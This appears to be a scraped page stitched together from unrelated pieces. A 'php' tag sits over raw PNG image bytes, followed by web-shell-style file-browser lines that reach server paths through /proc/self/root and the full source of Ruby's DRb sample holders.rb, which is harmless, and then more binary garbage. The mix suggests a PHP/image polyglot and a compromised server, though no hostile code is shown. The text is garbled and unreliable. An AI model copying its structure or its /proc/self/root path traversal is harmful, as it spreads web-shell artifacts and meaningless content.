php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/drb/ |
files >> //proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/drb/holders.rb |
=begin = How to play. == with timeridconv: % ruby -d holders.rb druby://yourhost:1234 % ruby holderc.rb druby://yourhost:1234 == without timeridconv: % ruby holders.rb druby://yourhost:1234 % ruby holderc.rb druby://yourhost:1234 =end require 'drb/drb' class DRbEx3 include DRbUndumped def initialize(n) @v = n end def sample(list) sum = 0 list.each do |e| sum += e.to_i end @v * sum end end class DRbEx4 include DRbUndumped def initialize @curr = 1 end def gen begin @curr += 1 DRbEx3.new(@curr) ensure GC.start end end end if __FILE__ == $0 if $DEBUG require 'drb/timeridconv' DRb.install_id_conv(DRb::TimerIdConv.new(2)) end DRb.start_service(nil, DRbEx4.new) puts DRb.uri DRb.thread.join endy~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`